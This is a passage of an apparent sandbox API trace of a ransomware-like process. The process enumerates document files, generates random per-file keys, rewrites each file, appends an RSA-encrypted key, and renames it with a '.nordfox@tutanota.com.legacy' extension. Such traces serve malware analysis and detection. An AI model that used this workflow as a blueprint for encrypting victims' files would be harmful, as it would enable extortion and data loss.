[0140.932] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610298 [0140.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610298 | out: hHeap=0x520000) returned 1 [0140.932] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x612308 [0140.932] FindNextFileW (in: hFindFile=0x60ca18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54af8610, ftCreationTime.dwHighDateTime=0x1d4cd3f, ftLastAccessTime.dwLowDateTime=0x508ee920, ftLastAccessTime.dwHighDateTime=0x1d4c940, ftLastWriteTime.dwLowDateTime=0x508ee920, ftLastWriteTime.dwHighDateTime=0x1d4c940, nFileSizeHigh=0x0, nFileSizeLow=0x15ce2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ToTc42.docx", cAlternateFileName="TOTC42~1.DOC")) returned 1 [0140.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0140.932] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0140.932] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611a88 [0140.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0140.933] GetLastError () returned 0x0 [0140.933] SetLastError (dwErrCode=0x0) [0140.933] GetLastError () returned 0x0 [0140.933] SetLastError (dwErrCode=0x0) [0140.933] GetLastError () returned 0x0 [0140.933] SetLastError (dwErrCode=0x0) [0140.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610248 [0140.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610248 | out: hHeap=0x520000) returned 1 [0140.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611868 [0140.933] FindNextFileW (in: hFindFile=0x60ca18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a78a710, ftCreationTime.dwHighDateTime=0x1d4d185, ftLastAccessTime.dwLowDateTime=0xc3f5d4d0, ftLastAccessTime.dwHighDateTime=0x1d4d2f7, ftLastWriteTime.dwLowDateTime=0xc3f5d4d0, ftLastWriteTime.dwHighDateTime=0x1d4d2f7, nFileSizeHigh=0x0, nFileSizeLow=0xda7e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="XnKBxOuyce2-W UrY3b.docx", cAlternateFileName="XNKBXO~1.DOC")) returned 1 [0140.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611a88 | out: hHeap=0x520000) returned 1 [0140.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611b10 [0140.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.933] GetLastError () returned 0x0 [0140.933] SetLastError (dwErrCode=0x0) [0140.933] GetLastError () returned 0x0 [0140.933] SetLastError (dwErrCode=0x0) [0140.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0140.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611b10 | out: hHeap=0x520000) returned 1 [0140.934] GetLastError () returned 0x0 [0140.934] SetLastError (dwErrCode=0x0) [0140.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cd70 [0140.934] FindNextFileW (in: hFindFile=0x60ca18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710ff990, ftCreationTime.dwHighDateTime=0x1d4ca4a, ftLastAccessTime.dwLowDateTime=0x28589920, ftLastAccessTime.dwHighDateTime=0x1d4cbd3, ftLastWriteTime.dwLowDateTime=0x28589920, ftLastWriteTime.dwHighDateTime=0x1d4cbd3, nFileSizeHigh=0x0, nFileSizeLow=0x2f49, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_0fiv_n.pps", cAlternateFileName="")) returned 1 [0140.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0140.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611ca8 [0140.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.934] GetLastError () returned 0x0 [0140.934] SetLastError (dwErrCode=0x0) [0140.934] GetLastError () returned 0x0 [0140.934] SetLastError (dwErrCode=0x0) [0140.934] GetLastError () returned 0x0 [0140.934] SetLastError (dwErrCode=0x0) [0140.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6102e8 [0140.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6102e8 | out: hHeap=0x520000) returned 1 [0140.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x6120e8 [0140.934] FindNextFileW (in: hFindFile=0x60ca18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710ff990, ftCreationTime.dwHighDateTime=0x1d4ca4a, ftLastAccessTime.dwLowDateTime=0x28589920, ftLastAccessTime.dwHighDateTime=0x1d4cbd3, ftLastWriteTime.dwLowDateTime=0x28589920, ftLastWriteTime.dwHighDateTime=0x1d4cbd3, nFileSizeHigh=0x0, nFileSizeLow=0x2f49, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_0fiv_n.pps", cAlternateFileName="")) returned 0 [0140.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x6117e0 [0140.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0140.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0140.934] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0140.935] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0140.935] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\_0fiv_n.pps", dwFileAttributes=0x80) returned 1 [0140.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611648 [0140.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b658 [0140.935] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611648 | out: hHeap=0x520000) returned 1 [0140.935] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\_0fiv_n.pps" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\_0fiv_n.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0140.935] GetFileSizeEx (in: hFile=0x788, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12105) returned 1 [0140.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2f49) returned 0x612410 [0140.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2f49) returned 0x615368 [0140.935] ReadFile (in: hFile=0x788, lpBuffer=0x612410, nNumberOfBytesToRead=0x2f49, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612410*, lpNumberOfBytesRead=0x2e1f9bc*=0x2f49, lpOverlapped=0x0) returned 1 [0140.936] SetFilePointer (in: hFile=0x788, lDistanceToMove=-12105, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.936] WriteFile (in: hFile=0x788, lpBuffer=0x615368*, nNumberOfBytesToWrite=0x2f49, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x615368*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2f49, lpOverlapped=0x0) returned 1 [0140.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612410 | out: hHeap=0x520000) returned 1 [0140.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x615368 | out: hHeap=0x520000) returned 1 [0140.936] SetFilePointer (in: hFile=0x788, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2f49 [0140.936] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.936] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.937] WriteFile (in: hFile=0x788, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.937] WriteFile (in: hFile=0x788, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.937] CloseHandle (hObject=0x788) returned 1 [0140.937] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0140.937] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0140.937] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\_0fiv_n.pps" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\_0fiv_n.pps"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\_0fiv_n.pps.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\_0fiv_n.pps.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b658 | out: hHeap=0x520000) returned 1 [0140.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6117e0 | out: hHeap=0x520000) returned 1 [0140.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6120e8 | out: hHeap=0x520000) returned 1 [0140.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d400 [0140.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0140.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0140.939] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0140.939] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0140.939] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\XnKBxOuyce2-W UrY3b.docx", dwFileAttributes=0x80) returned 1 [0140.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60de80 [0140.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x609c00 [0140.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60de80 | out: hHeap=0x520000) returned 1 [0140.939] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\XnKBxOuyce2-W UrY3b.docx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\xnkbxouyce2-w ury3b.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0140.939] GetFileSizeEx (in: hFile=0x788, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=55934) returned 1 [0140.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xda7e) returned 0x2e61f38 [0140.939] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xda7e) returned 0x2e6f9c0 [0140.939] ReadFile (in: hFile=0x788, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0xda7e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0xda7e, lpOverlapped=0x0) returned 1 [0140.940] SetFilePointer (in: hFile=0x788, lDistanceToMove=-55934, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.940] WriteFile (in: hFile=0x788, lpBuffer=0x2e6f9c0*, nNumberOfBytesToWrite=0xda7e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e6f9c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda7e, lpOverlapped=0x0) returned 1 [0140.941] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0140.941] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e6f9c0 | out: hHeap=0x520000) returned 1 [0140.941] SetFilePointer (in: hFile=0x788, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda7e [0140.941] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.941] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.941] WriteFile (in: hFile=0x788, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.941] WriteFile (in: hFile=0x788, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.941] CloseHandle (hObject=0x788) returned 1 [0140.941] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0140.941] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0140.941] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\XnKBxOuyce2-W UrY3b.docx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\xnkbxouyce2-w ury3b.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\XnKBxOuyce2-W UrY3b.docx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\xnkbxouyce2-w ury3b.docx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609c00 | out: hHeap=0x520000) returned 1 [0140.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d400 | out: hHeap=0x520000) returned 1 [0140.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cd70 | out: hHeap=0x520000) returned 1 [0140.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611db8 [0140.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0140.950] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0140.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0140.951] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0140.951] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\ToTc42.docx", dwFileAttributes=0x80) returned 1 [0140.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611758 [0140.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bc40 [0140.951] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611758 | out: hHeap=0x520000) returned 1 [0140.951] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\ToTc42.docx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\totc42.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0140.951] GetFileSizeEx (in: hFile=0x788, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=89314) returned 1 [0140.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x15ce2) returned 0x2e61f38 [0140.951] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x15ce2) returned 0x2e77c28 [0140.951] ReadFile (in: hFile=0x788, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x15ce2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x15ce2, lpOverlapped=0x0) returned 1 [0140.953] SetFilePointer (in: hFile=0x788, lDistanceToMove=-89314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.953] WriteFile (in: hFile=0x788, lpBuffer=0x2e77c28*, nNumberOfBytesToWrite=0x15ce2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e77c28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15ce2, lpOverlapped=0x0) returned 1 [0140.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0140.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e77c28 | out: hHeap=0x520000) returned 1 [0140.955] SetFilePointer (in: hFile=0x788, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15ce2 [0140.955] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.955] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.956] WriteFile (in: hFile=0x788, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.956] WriteFile (in: hFile=0x788, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.956] CloseHandle (hObject=0x788) returned 1 [0140.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0140.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0140.956] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\ToTc42.docx" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\totc42.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\ToTc42.docx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\totc42.docx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bc40 | out: hHeap=0x520000) returned 1 [0140.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611db8 | out: hHeap=0x520000) returned 1 [0140.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611868 | out: hHeap=0x520000) returned 1 [0140.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611538 [0140.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0140.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0140.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0140.958] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0140.958] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\sWEcHJFFIR.odt", dwFileAttributes=0x80) returned 1 [0140.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x6120e8 [0140.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563f10 [0140.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6120e8 | out: hHeap=0x520000) returned 1 [0140.958] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\sWEcHJFFIR.odt" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\swechjffir.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0140.959] GetFileSizeEx (in: hFile=0x788, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=100015) returned 1 [0140.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x186af) returned 0x2e61f38 [0140.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x186af) returned 0x2e7a5f0 [0140.960] ReadFile (in: hFile=0x788, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x186af, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x186af, lpOverlapped=0x0) returned 1 [0140.963] SetFilePointer (in: hFile=0x788, lDistanceToMove=-100015, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.963] WriteFile (in: hFile=0x788, lpBuffer=0x2e7a5f0*, nNumberOfBytesToWrite=0x186af, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e7a5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x186af, lpOverlapped=0x0) returned 1 [0140.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0140.965] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e7a5f0 | out: hHeap=0x520000) returned 1 [0140.967] SetFilePointer (in: hFile=0x788, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x186af [0140.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.968] WriteFile (in: hFile=0x788, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.968] WriteFile (in: hFile=0x788, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.968] CloseHandle (hObject=0x788) returned 1 [0140.968] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0140.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0140.969] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\sWEcHJFFIR.odt" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\swechjffir.odt"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\sWEcHJFFIR.odt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\swechjffir.odt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f10 | out: hHeap=0x520000) returned 1 [0140.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611538 | out: hHeap=0x520000) returned 1 [0140.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612308 | out: hHeap=0x520000) returned 1 [0140.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cec0 [0140.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0140.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0140.971] CryptGenRandom (in: hProv=0x55a150, 